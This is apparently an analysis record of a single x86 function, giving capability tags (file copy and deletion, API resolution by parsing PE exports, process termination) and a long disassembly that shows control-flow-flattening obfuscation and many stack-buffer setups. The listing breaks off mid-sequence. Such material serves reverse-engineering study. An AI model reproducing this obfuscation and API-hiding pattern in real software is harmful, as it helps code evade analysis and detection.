Function at 0x404200
Capabilities:
Accept command line arguments
Copy file
Delete file
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa68
mov esi, esp
mov dword [esi + 0x950], 0xcb3cda4a
mov eax, dword [esi + 0x950]
mov ecx, eax
sub ecx, 0x7ff2f5b3
mov dword [esi + 0x94c], eax
mov dword [esi + 0x948], ecx
jg 0x405d0f
jmp 0x404243
mov eax, dword [esi + 0x94c]
sub eax, 0x7efc4dab
mov dword [esi + 0x944], eax
jg 0x405cf3
jmp 0x40425f
mov eax, dword [esi + 0x94c]
sub eax, 0x7b39f617
mov dword [esi + 0x940], eax
jg 0x405cd7
jmp 0x40427b
mov eax, dword [esi + 0x94c]
sub eax, 0x826740ec
mov dword [esi + 0x93c], eax
jg 0x4042b3
jmp 0x404297
mov eax, dword [esi + 0x94c]
sub eax, 0x8215e199
mov dword [esi + 0x938], eax
je 0x4087ee
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x83059fcb
mov dword [esi + 0x934], eax
jg 0x4042eb
jmp 0x4042cf
mov eax, dword [esi + 0x94c]
sub eax, 0x826740ed
mov dword [esi + 0x930], eax
je 0x408d56
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x85ac9e58
mov dword [esi + 0x92c], eax
jg 0x404323
jmp 0x404307
mov eax, dword [esi + 0x94c]
sub eax, 0x83059fcc
mov dword [esi + 0x928], eax
je 0x406c07
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x867e4497
mov dword [esi + 0x924], eax
jg 0x40435b
jmp 0x40433f
mov eax, dword [esi + 0x94c]
sub eax, 0x85ac9e59
mov dword [esi + 0x920], eax
je 0x4084c8
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x88c3ada3
mov dword [esi + 0x91c], eax
jg 0x404393
jmp 0x404377
mov eax, dword [esi + 0x94c]
sub eax, 0x867e4498
mov dword [esi + 0x918], eax
je 0x408f61
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x79ff3977
mov dword [esi + 0x914], eax
jg 0x405cbb
jmp 0x4043af
mov eax, dword [esi + 0x94c]
sub eax, 0x79b7488b
mov dword [esi + 0x910], eax
jg 0x405c9f
jmp 0x4043cb
mov eax, dword [esi + 0x94c]
sub eax, 0x782d062e
mov dword [esi + 0x90c], eax
jg 0x405c83
jmp 0x4043e7
mov eax, dword [esi + 0x94c]
sub eax, 0x77d6c285
mov dword [esi + 0x908], eax
jg 0x405c67
jmp 0x404403
mov eax, dword [esi + 0x94c]
sub eax, 0x761d9517
mov dword [esi + 0x904], eax
jg 0x405c4b
jmp 0x40441f
mov eax, dword [esi + 0x94c]
sub eax, 0x751ac033
mov dword [esi + 0x900], eax
jg 0x405c2f
jmp 0x40443b
mov eax, dword [esi + 0x94c]
sub eax, 0x74269e0f
mov dword [esi + 0x8fc], eax
jg 0x405c13
jmp 0x404457
mov eax, dword [esi + 0x94c]
sub eax, 0x730964ad
mov dword [esi + 0x8f8], eax
jg 0x405bf7
jmp 0x404473
mov eax, dword [esi + 0x94c]
sub eax, 0x6a796646
mov dword [esi + 0x8f4], eax
jg 0x405bdb
jmp 0x40448f
mov eax, dword [esi + 0x94c]
sub eax, 0x695d9aa2
mov dword [esi + 0x8f0], eax
jg 0x405bbf
jmp 0x4044ab
mov eax, dword [esi + 0x94c]
sub eax, 0x662570d9
mov dword [esi + 0x8ec], eax
jg 0x405ba3
jmp 0x4044c7
mov eax, dword [esi + 0x94c]
sub eax, 0x65637ba0
mov dword [esi + 0x8e8], eax
jg 0x405b87
jmp 0x4044e3
mov eax, dword [esi + 0x94c]
sub eax, 0x646cb2ca
mov dword [esi + 0x8e4], eax
jg 0x405b6b
jmp 0x4044ff
mov eax, dword [esi + 0x94c]
sub eax, 0x62f4006f
mov dword [esi + 0x8e0], eax
jg 0x405b4f
jmp 0x40451b
mov eax, dword [esi + 0x94c]
sub eax, 0x5e12ef47
mov dword [esi + 0x8dc], eax
jg 0x405b33
jmp 0x404537
mov eax, dword [esi + 0x94c]
sub eax, 0x5cf73189
mov dword [esi + 0x8d8], eax
jg 0x405b17
jmp 0x404553
mov eax, dword [esi + 0x94c]
sub eax, 0x5cbeb0fe
mov dword [esi + 0x8d4], eax
jg 0x405afb
jmp 0x40456f
mov eax, dword [esi + 0x94c]
sub eax, 0x5b36af8f
mov dword [esi + 0x8d0], eax
jg 0x405adf
jmp 0x40458b
mov eax, dword [esi + 0x94c]
sub eax, 0x58e64b74
mov dword [esi + 0x8cc], eax
jg 0x405ac3
jmp 0x4045a7
mov eax, dword [esi + 0x94c]
sub eax, 0x55ca8652
mov dword [esi + 0x8c8], eax
jg 0x405aa7
jmp 0x4045c3
mov eax, dword [esi + 0x94c]
sub eax, 0x54cc0ace
mov dword [esi + 0x8c4], eax
jg 0x405a8b
jmp 0x4045df
mov eax, dword [esi + 0x94c]
sub eax, 0x53909245
mov dword [esi + 0x8c0], eax
jg 0x405a6f
jmp 0x4045fb
mov eax, dword [esi + 0x94c]
sub eax, 0x51946fc0
mov dword [esi + 0x8bc], eax
jg 0x405a53
jmp 0x404617
mov eax, dword [esi + 0x94c]
sub eax, 0x4e85fb7f
mov dword [esi + 0x8b8], eax
jg 0x405a37
jmp 0x404633
mov eax, dword [esi + 0x94c]
sub eax, 0x4d33b5a4
mov dword [esi + 0x8b4], eax
jg 0x405a1b
jmp 0x40464f
mov eax, dword [esi + 0x94c]
sub eax, 0x4a416fe3
mov dword [esi + 0x8b0], eax
jg 0x4059ff
jmp 0x40466b
mov eax, dword [esi + 0x94c]
sub eax, 0x496d3669
mov dword [esi + 0x8ac], eax
jg 0x4059e3
jmp 0x404687
mov eax, dword [esi + 0x94c]
sub eax, 0x486fcb90
mov dword [esi + 0x8a8], eax
jg 0x4059c7
jmp 0x4046a3
mov eax, dword [esi + 0x94c]
sub eax, 0x45c7db29
mov dword [esi + 0x8a4], eax
jg 0x4059ab
jmp 0x4046bf
mov eax, dword [esi + 0x94c]
sub eax, 0x42e80296
mov dword [esi + 0x8a0], eax
jg 0x40598f
jmp 0x4046db
mov eax, dword [esi + 0x94c]
sub eax, 0x42bafd3b
mov dword [esi + 0x89c], eax
jg 0x405973
jmp 0x4046f7
mov eax, dword [esi + 0x94c]
sub eax, 0x3efe7bb5
mov dword [esi + 0x898], eax
jg 0x405957
jmp 0x404713
mov eax, dword [esi + 0x94c]
sub eax, 0x3d946392
mov dword [esi + 0x894], eax
jg 0x40593b
jmp 0x40472f
mov eax, dword [esi + 0x94c]
sub eax, 0x3bfb35e3
mov dword [esi + 0x890], eax
jg 0x40591f
jmp 0x40474b
mov eax, dword [esi + 0x94c]
sub eax, 0x3b40a52d
mov dword [esi + 0x88c], eax
jg 0x405903
jmp 0x404767
mov eax, dword [esi + 0x94c]
sub eax, 0x3b260291
mov dword [esi + 0x888], eax
jg 0x4058e7
jmp 0x404783
mov eax, dword [esi + 0x94c]
sub eax, 0x3a71110f
mov dword [esi + 0x884], eax
jg 0x4058cb
jmp 0x40479f
mov eax, dword [esi + 0x94c]
sub eax, 0x37599658
mov dword [esi + 0x880], eax
jg 0x4058af
jmp 0x4047bb
mov eax, dword [esi + 0x94c]
sub eax, 0x37304adc
mov dword [esi + 0x87c], eax
jg 0x405893
jmp 0x4047d7
mov eax, dword [esi + 0x94c]
sub eax, 0x30622f1b
mov dword [esi + 0x878], eax
jg 0x405877
jmp 0x4047f3
mov eax, dword [esi + 0x94c]
sub eax, 0x2d6ea904
mov dword [esi + 0x874], eax
jg 0x40585b
jmp 0x40480f
mov eax, dword [esi + 0x94c]
sub eax, 0x2d4f4939
mov dword [esi + 0x870], eax
jg 0x40583f
jmp 0x40482b
mov eax, dword [esi + 0x94c]
sub eax, 0x2c99b0fe
mov dword [esi + 0x86c], eax
jg 0x405823
jmp 0x404847
mov eax, dword [esi + 0x94c]
sub eax, 0x2aa532ec
mov dword [esi + 0x868], eax
jg 0x405807
jmp 0x404863
mov eax, dword [esi + 0x94c]
sub eax, 0x2a342b30
mov dword [esi + 0x864], eax
jg 0x4057eb
jmp 0x40487f
mov eax, dword [esi + 0x94c]
sub eax, 0x1f9cafeb
mov dword [esi + 0x860], eax
jg 0x4057cf
jmp 0x40489b
mov eax, dword [esi + 0x94c]
sub eax, 0x1e66ca80
mov dword [esi + 0x85c], eax
jg 0x4057b3
jmp 0x4048b7
mov eax, dword [esi + 0x94c]
sub eax, 0x1828eb24
mov dword [esi + 0x858], eax
jg 0x405797
jmp 0x4048d3
mov eax, dword [esi + 0x94c]
sub eax, 0x17721314
mov dword [esi + 0x854], eax
jg 0x40577b
jmp 0x4048ef
mov eax, dword [esi + 0x94c]
sub eax, 0x12de8c0b
mov dword [esi + 0x850], eax
jg 0x40575f
jmp 0x40490b
mov eax, dword [esi + 0x94c]
sub eax, 0x1232f934
mov dword [esi + 0x84c], eax
jg 0x405743
jmp 0x404927
mov eax, dword [esi + 0x94c]
sub eax, 0xcc84615
mov dword [esi + 0x848], eax
jg 0x405727
jmp 0x404943
mov eax, dword [esi + 0x94c]
sub eax, 0x602bd79
mov dword [esi + 0x844], eax
jg 0x40570b
jmp 0x40495f
mov eax, dword [esi + 0x94c]
sub eax, 0xfe01254f
mov dword [esi + 0x840], eax
jg 0x4056ef
jmp 0x40497b
mov eax, dword [esi + 0x94c]
sub eax, 0x88d06b2c
mov dword [esi + 0x83c], eax
jg 0x4049b3
jmp 0x404997
mov eax, dword [esi + 0x94c]
sub eax, 0x88c3ada4
mov dword [esi + 0x838], eax
je 0x4065e0
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x8cb5568a
mov dword [esi + 0x834], eax
jg 0x4049eb
jmp 0x4049cf
mov eax, dword [esi + 0x94c]
sub eax, 0x88d06b2d
mov dword [esi + 0x830], eax
je 0x408f90
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x8e4e341c
mov dword [esi + 0x82c], eax
jg 0x404a23
jmp 0x404a07
mov eax, dword [esi + 0x94c]
sub eax, 0x8cb5568b
mov dword [esi + 0x828], eax
je 0x40ad20
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x900adee7
mov dword [esi + 0x824], eax
jg 0x404a5b
jmp 0x404a3f
mov eax, dword [esi + 0x94c]
sub eax, 0x8e4e341d
mov dword [esi + 0x820], eax
je 0x40aca1
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x90310eb4
mov dword [esi + 0x81c], eax
jg 0x404a93
jmp 0x404a77
mov eax, dword [esi + 0x94c]
sub eax, 0x900adee8
mov dword [esi + 0x818], eax
je 0x408123
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x9442990a
mov dword [esi + 0x814], eax
jg 0x404acb
jmp 0x404aaf
mov eax, dword [esi + 0x94c]
sub eax, 0x90310eb5
mov dword [esi + 0x810], eax
je 0x40ac3a
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x9451d99f
mov dword [esi + 0x80c], eax
jg 0x404b03
jmp 0x404ae7
mov eax, dword [esi + 0x94c]
sub eax, 0x9442990b
mov dword [esi + 0x808], eax
je 0x4084f6
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x9a878f01
mov dword [esi + 0x804], eax
jg 0x404b3b
jmp 0x404b1f
mov eax, dword [esi + 0x94c]
sub eax, 0x9451d9a0
mov dword [esi + 0x800], eax
je 0x4070ce
mov eax, dword [esi + 0x94c]
sub eax, 0x9fae3a13
mov dword [esi + 0x7fc], eax
jg 0x404b73
jmp 0x404b57
mov eax, dword [esi + 0x94c]
sub eax, 0xa4396482
mov dword [esi + 0x7f4], eax
jg 0x404bab
mov eax, dword [esi + 0x94c]
sub eax, 0xfe012550
mov dword [esi + 0x650], eax
je 0x408133
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x602bd7a
mov dword [esi + 0x64c], eax
je 0x409797
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0xcc84616
mov dword [esi + 0x648], eax
je 0x408c6a
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x1232f935
mov dword [esi + 0x644], eax
je 0x40872b
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x12de8c0c
mov dword [esi + 0x640], eax
je 0x406b0b
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x17721315
mov dword [esi + 0x63c], eax
je 0x408180
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x1828eb25
mov dword [esi + 0x638], eax
je 0x406f15
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x1e66ca81
mov dword [esi + 0x634], eax
je 0x4097cf
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x1f9cafec
mov dword [esi + 0x630], eax
je 0x408cf7
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x2a342b31
mov dword [esi + 0x62c], eax
je 0x4088a0
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x2aa532ed
mov dword [esi + 0x628], eax
je 0x4086cd
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x2c99b0ff
mov dword [esi + 0x624], eax
je 0x408d7e
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x2d4f493a
mov dword [esi + 0x620], eax
je 0x408c5b
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x2d6ea905
mov dword [esi + 0x61c], eax
je 0x4081c9
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x30622f1c
mov dword [esi + 0x618], eax
je 0x408f20
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x37304add
mov dword [esi + 0x614], eax
je 0x409881
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x37599659
mov dword [esi + 0x610], eax
je 0x408e0e
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x3a711110
mov dword [esi + 0x60c], eax
je 0x408483
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x3b260292
mov dword [esi + 0x608], eax
je 0x40690d
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x3b40a52e
mov dword [esi + 0x604], eax
je 0x4098fe
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x3bfb35e4
mov dword [esi + 0x600], eax
je 0x409950
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x3d946393
mov dword [esi + 0x5fc], eax
je 0x408afb
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x3efe7bb6
mov dword [esi + 0x5f8], eax
je 0x4086ee
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x42bafd3c
mov dword [esi + 0x5f4], eax
je 0x406610
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x42e80297
mov dword [esi + 0x5f0], eax
je 0x408171
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x45c7db2a
mov dword [esi + 0x5ec], eax
je 0x406b66
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x486fcb91
mov dword [esi + 0x5e8], eax
je 0x40aa34
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x496d366a
mov dword [esi + 0x5e4], eax
je 0x406cd3
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x4a416fe4
mov dword [esi + 0x5e0], eax
je 0x406b56
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x4d33b5a5
mov dword [esi + 0x5dc], eax
je 0x408446
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x4e85fb80
mov dword [esi + 0x5d8], eax
je 0x408900
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x51946fc1
mov dword [esi + 0x5d4], eax
je 0x40822a
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x53909246
mov dword [esi + 0x5d0], eax
je 0x408adc
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x54cc0acf
mov dword [esi + 0x5cc], eax
je 0x4068a7
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x55ca8653
mov dword [esi + 0x5c8], eax
je 0x406720
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x58e64b75
mov dword [esi + 0x5c4], eax
je 0x408ce8
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x5b36af90
mov dword [esi + 0x5c0], eax
je 0x4097a6
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x5cbeb0ff
mov dword [esi + 0x5bc], eax
je 0x40ace1
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x5cf7318a
mov dword [esi + 0x5b8], eax
je 0x406868
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x5e12ef48
mov dword [esi + 0x5b4], eax
je 0x408921
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x62f40070
mov dword [esi + 0x5b0], eax
je 0x409779
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x646cb2cb
mov dword [esi + 0x5ac], eax
je 0x406878
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x65637ba1
mov dword [esi + 0x5a8], eax
je 0x408d9f
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x662570da
mov dword [esi + 0x5a4], eax
je 0x408890
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x695d9aa3
mov dword [esi + 0x5a0], eax
je 0x408f2f
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x6a796647
mov dword [esi + 0x59c], eax
je 0x40ab21
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x730964ae
mov dword [esi + 0x598], eax
je 0x406be3
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x74269e10
mov dword [esi + 0x594], eax
je 0x408dea
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x751ac034
mov dword [esi + 0x590], eax
je 0x406897
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x761d9518
mov dword [esi + 0x58c], eax
je 0x408505
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x77d6c286
mov dword [esi + 0x588], eax
je 0x405d40
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x782d062f
mov dword [esi + 0x584], eax
je 0x4066ad
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x79b7488c
mov dword [esi + 0x580], eax
je 0x4068dc
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x79ff3978
mov dword [esi + 0x57c], eax
je 0x40acb9
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x7b39f618
mov dword [esi + 0x578], eax
je 0x40a9de
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x7efc4dac
mov dword [esi + 0x574], eax
je 0x4081ed
jmp 0x405d2b
mov eax, dword [esi + 0x94c]
sub eax, 0x7ff2f5b4
mov dword [esi + 0x570], eax
je 0x406ec5
jmp 0x405d2b
jmp 0x40ad3c
mov eax, 0
mov ecx, 0xa
mov edx, 0x10
mov edi, 0x28
mov ebx, 0xc8
mov dword [esi + 0x56c], eax
mov eax, 0x20a
mov dword [esi + 0x568], eax
mov eax, 0x3c
mov dword [esi + 0x564], eax
mov eax, 4
mov dword [esi + 0x560], eax
mov dword [esi + 0x55c], ebx
mov dword [esi + 0x558], ecx
mov dword [esi + 0x554], edx
mov dword [esi + 0x550], edi
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x954], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x958], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x95c], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x960], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x964], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x968], eax
mov eax, 0x3c
call fcn.0041e690
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov dword [esi + 0x96c], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x970], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x974], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x978], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x97c], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x980], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x984], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x988], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x98c], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x990], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x994], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x998], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x99c], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x9a0], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x9a4], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x9a8], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x9ac], eax
mov eax, 0x20c
mov dword [esi + 0x54c], eax
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x9b0], eax
mov eax, dword [esi + 0x54c]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x9b4], eax
mov eax, dword [esi + 0x54c]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x9b8], eax
mov eax, dword [esi + 0x54c]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x9bc], eax
mov eax, dword [esi + 0x54c]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x9c0], eax
mov eax, dword [esi + 0x54c]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x9c4], eax
mov eax, dword [esi + 0x54c]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x9c8], eax
mov eax, dword [esi + 0x54c]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x9cc], eax
mov eax, dword [esi + 0x54c]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x9d0], eax
mov eax, dword [esi + 0x54c]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x9d4], eax
mov eax, dword [esi + 0x54c]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x9d8], eax
mov eax, dword [esi + 0x54c]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x9dc], eax
mov eax, dword [esi + 0x54c]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x9e0], eax
mov eax, dword [esi + 0x54c]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x9e4], eax
mov eax, 0xc8
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x9e8], eax
mov eax, 0x28
mov dword [esi + 0x548], eax
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x9ec], eax
mov eax, 0x10
mov dword [esi + 0x544], eax
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x9f0], eax
mov eax, dword [esi + 0x544]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x9f4], eax
mov eax, 0xc
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x560]
mov dword [esi + 0x540], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x9f8], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0x9fc], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0xa00], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0xa04], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0xa08], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0xa0c], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0xa10], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0xa14], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0xa18], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0xa1c], eax
mov eax, dword [esi + 0x548]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0xa20], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0xa24], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0xa28], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0xa2c], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0xa30], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0xa34], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0xa38], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0xa3c], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0xa40], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0xa44], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0xa48], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0xa4c], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0xa50], eax
mov eax, dword [esi + 0x560]
call fcn.0041e690
mov eax, esp
mov dword [esi + 0xa54], eax
mov eax, dword [esi + 0x958]
mov dword [eax], 0
mov eax, dword [esi + 0x95c]
mov dword [eax], 0
mov eax, dword [esi + 0x960]
mov dword [eax], 0
mov eax, dword [esi + 0x964]
mov dword [eax], 0
mov eax, dword [esi + 0x968]
mov dword [eax], 0
mov eax, dword [esi + 0x96c]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x3c
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x9a8]
mov dword [eax], 0
mov eax, dword [esi + 0x9ac]
mov dword [eax], 0
mov eax, dword [esi + 0x9b0]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x9b4]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x9b8]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x9bc]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x9c0]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x9c4]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x9c8]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x9cc]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x9d0]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x9d4]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x9d8]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x9dc]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x9e4]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
